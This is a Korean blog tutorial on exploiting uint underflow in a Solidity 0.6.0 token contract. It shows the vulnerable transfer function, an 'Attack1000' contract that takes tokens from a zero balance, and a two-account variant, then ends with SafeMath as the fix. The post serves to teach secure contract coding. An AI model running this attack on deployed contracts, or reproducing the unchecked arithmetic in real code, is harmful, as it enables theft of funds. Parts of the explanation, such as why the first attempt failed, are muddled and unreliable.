본문 바로가기
aaa
블록체인

uint 자료형의 허점을 노린 스마트컨트랙트 해킹

uint 자료형의 허점을 노린 스마트컨트랙트 해킹

 

[요약]

내가 다른 사람에게 돈을 입금하려면

나의 은행 잔고는 당연히 입금하려는 돈 보다 많아야한다.

 

동일한 의도로 타겟 스마트컨트랙트 내에

내가 보내려는 토큰이 나의 토큰 잔고 보다

많을 경우 전송을 할 수 있게 만든 코드가 있다.

 

uint의 특성인 언더플로우를 이용해서

나의 토큰 잔고가 보내려는 

토큰보다 적더라도 전송이 실행되도록 해킹해보고

 

이를 통해 스마트컨트랙트 코드 작성시 uint 자료형

변수의 특징과 보안 취약점을 알아보자.

 

 

 

  • 타겟 스마트컨트랙트 'Token' 전체 코드
pragma solidity 0.6.0;

contract Token {
    mapping(address => uint) balances;
    
    uint public num;
    
    constructor(uint _initialSupply) public {
        balances[msg.sender] = _initialSupply;
    }
    
    function balanceOf(address _owner) public view returns (uint){
        return balances[_owner];
    }
    
    function transfer(address _to, uint _value) public returns (bool) {
        num= balances[msg.sender] - _value;
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
    
}

 


 

 

▶뜯어보기

 

  • coustructor
 constructor(uint _initialSupply) public {
        balances[msg.sender] = _initialSupply;
    }

스마트컨트랙트 최초 배포시

coustructor 호출.

 

배포자 주소의 토큰 잔고에

파라미터 _initialSupply 값을  대입시킨다.

 

 

  • balaceOf
function balanceOf(address _owner) public view returns (uint){
        return balances[_owner];
    }

함수 balaceOf는 주소형 변수 _owner를 파라미터로 받는다.

그리고 _owener 주소의 토큰 잔고량을 반환한다.

 

 

  • transfer
function transfer(address _to, uint _value) public returns (bool) {
        num= balances[msg.sender] - _value;
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

문제의 함수 transfer.

 

 

transfer 함수는

2개의 파라미터

(주소형 _to, uint형 _value)

를 받는다.

 

require~

msg.sender - 전송 토큰 량이 >= 0 

=> 토큰을 보내려는 사람의 잔고가 전송 토큰 량 보다 큰 지 확인함.

 

위 조건이 참일 경우 그 다음

msg.sender의 토큰 잔고를 토큰 전송량 만큼 감소 시키고

 _to의 토큰 잔고를 토큰 전송량 만큼 증가 시킨다.

 

 


 

 

  • 리믹스에서 타겟 스마트컨트랙트 "Token" 배포
  •  

_INITIALSUPPLY를

10,000개로 설정하고 배포.

 

 

 

배포한 스마트컨트랙트를 불러오고

함수 balanceOf 인풋 값에

Token 스마트컨트랙트

최초발행자인 0xdD8~ 주소를 입력하여

호출하면 0xdD8~의 토큰 잔고가

10,000개 인것을 확인할 수 있다.

 

 

 

지갑주소 0x583~는

Token 스마트컨트랙트를 해킹할 주소이다.

 

Token의 balanceOf에

해킹공격자 0x583 주소를 입력하여 호출하면

토큰 잔고가 0임을 확인 할 수 있다.

 

 

 

  • 시도1: Token 스마트컨트랙트와 직접 연결

 

스마트컨트랙트 "Token"을 불러오고

transfer 함수 인풋 데이터에

파라미터 (받을사람 주소, 토큰 전송 수량)를 입력하고 transfer  호출.

=> (0x583~,100) 

: 0x583~ 주소로 100개를 보냄.

 

=> 실패

 

 

 

 

  • 시도2: 스마트컨트랙트 "Attack1000"을 만들고 공격
pragma solidity 0.6.0;

contract Token {
    mapping(address => uint) balances;
    
    uint public num;
    
    constructor(uint _initialSupply) public {
        balances[msg.sender] = _initialSupply;
    }
    
    function balanceOf(address _owner) public view returns (uint){
        return balances[_owner];
    }
    
    function transfer(address _to, uint _value) public returns (bool) {
        num= balances[msg.sender] - _value;
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
    
}

contract Attack1000 {
    mapping(address => uint) balances;
    

    function hack() public {
       Token(0x3643b7a9F6338115159a4D3a2cc678C99aD657aa).transfer(0x583031D1113aD414F02576BD6afaBfb302140225,1000);
    }
    
}

스마트컨트랙트 Attack1000은

함수 "hack"을 실행한다.

 

함수 hack은

스마트컨트랙트 Token을 불러오고

transfer를 호출하여 파라미터

(공격자 지갑주소, 토큰 수량 1000개)을 입력하여 

토큰 1000개를 가져온다.

 

공격전 공격자의 토큰 잔고는 0

*공격자는 공격전에 스마트컨트랙트 Token을

 하나도 갖고 있지 않다.

 

 

 

 

배포된 ATTACK1000 스마트컨트랙트

 

배포한 Attack1000을 실행.

 

 

해킹 성공.

 

function transfer(address _to, uint _value) public returns (bool) {
        num= balances[msg.sender] - _value;
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

스마트컨트랙트 발행자의 의도에 따르면

3번째줄 requrire~ 코드의 조건을 만족해야 

토큰이 전송된다.

 

그런데

성공적으로 1000개가 공격자의 지갑의

토큰 잔고가 1,000개로 증가하였다.

 

 

  • Why? :왜 성공했을까

솔리디티에서 uint는

uint256이며256비트의 부호없는 정수를 의미한다.

 

uint256 값의

최소값은 0.

최대값은 2^256 - 1 =

115792089237316195423570985008687907853269984665640564039457584007913129639935 + 78째자리 소수이다.

 

num= balances[msg.sender] - _value;

 

최초 공격시

공격자의 잔고는 0이고 토큰 전송량은 1,000으로 입력하였다.

 

num 값은 0 - 1000 으로 음수가 된다.

 

 

 

 

 

시계에서 0시에서 1시간을 빼면

최대값 12시를 넘어 11시가 되듯이

 

uint256 값은 음수가 없기 때문에 -1000을

최소값 0에서 -1000 만큼 뒤로간 값.

 

uint256 최대값-1000 이 되어 버린다.

 

 

num 버튼을 클릭하면

 

115792089237316195423570985008687907853269984665640564039457584007913129639935 -1000

num = 115792089237316195423570985008687907853269984665640564039457584007913129638936

 

이 되었음을 확인할 수 있다.

 

이를 언더플로우(underflow)라고하며

 

require에서 양수로 인식하여 True가 된다.

그리고 잔고가 하나도 없는데도 Transfer에 성공하게 된다.

 

*반대의 경우  uint 범위의 최대값 2^256 - 1 보다

'1' 큰 값  2^256을 uint 값으로 넣으면

오버플로우(overflow)되어

최소값 0이 되어버린다.

 

 

▶참고 Int256

 

자료형 Int256는

-2^255 ~ 2^255-1 범위 값을 갖는다.

  • 최소값: -2^255 = -57896044618658097711785492504343953926634992332820282019728792003956564819968
  • 최대값:  2^255-1 = 57896044618658097711785492504343953926634992332820282019728792003956564819967

 

  • 1번시도 EOA로는 실패하고 2번 시도 CA로는 성공한 이유
function transfer(address _to, uint _value) public returns (bool) {
        num= balances[msg.sender] - _value;
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

1번 시도, 2번시도

num 값이 언더 플로우 되면서

모두 require~를 통과했다.

 

하지만

 

1번 시도에서는

balances[msg.sender] - = _value; 
        balances[_to] + = _value;

 

msg.sender는 EOA(EOA. External Owned Account)다.

balances[msg.sender]의 잔고를 100만큼 감소시키고

 balances[_to]에도 동일한 계좌의 잔고라 다시 100만큼 증가시키게 된다.

결론적으로 0이된다.

 

따라서 시도1은 실패했다.

가스피만 날렸다.

 

 

2번 시도에서는 CA(CA. Contract Account)가 CA를 호출했으므로

balances[msg.sender]는 0일 것이다.

CA(Attack)의 토큰 잔고를 전송량 1000만큼 감소시킨다.

 

*이때 CA(Attack)의 토큰 잔고도 uint(-1000)가 되고 언더플로우되어 매우 큰 값의 토큰 잔고를 갖게 된다.

 

 

balances[_to] _to에는 공격자의 EOA를 입력하였다.

공격자 EOA에 해당하는 토큰 잔고가 1000이 증가한다.

 

이로써 공격자는 토큰 1000개를 얻게 됐다.

 

 

3번째 방법

다른 방법으로도 토큰을 기하급수적으로 가져올 수 있다.

공격자는 EOA를 2개 준비한다. [EOA1, EOA2]

 

EOA1로 스마트컨트랙트 Token을 불러오고

인풋 데이터에 (EOA2, 토큰수량(100))을 입력하여 transfer를 호출하면

좌 EOA1 잔고  / 우 EOA2 잔고

EOA1의 토큰 잔고는 uint(-100) = 매우 큰 수가 되고

EOA2의 토큰잔고는 uint(100) = 100.

 

여기서 공격자는 함수 transfer를 호출하기 위한

아주 작은 가스비용만을 지불하고

매우 많은 수의 토큰을 얻게 된다.

 

 

 

  • uint256 변수의 오버플로우 / 언더플로우 방지책.

위와 같은 uint256이 갖는

오버플로우/언더플로우 문제를

방지하기 위해

 

ERC20 토큰 표준 스마트컨트랙트 코드에는

아래와 같은 SafeMath 라이브러리를 포함하고 있다.

 

SafeMath 라이브러리가 언더플로/오버플로를 방지한다.

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
       /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */

 

 

 

 

 


loading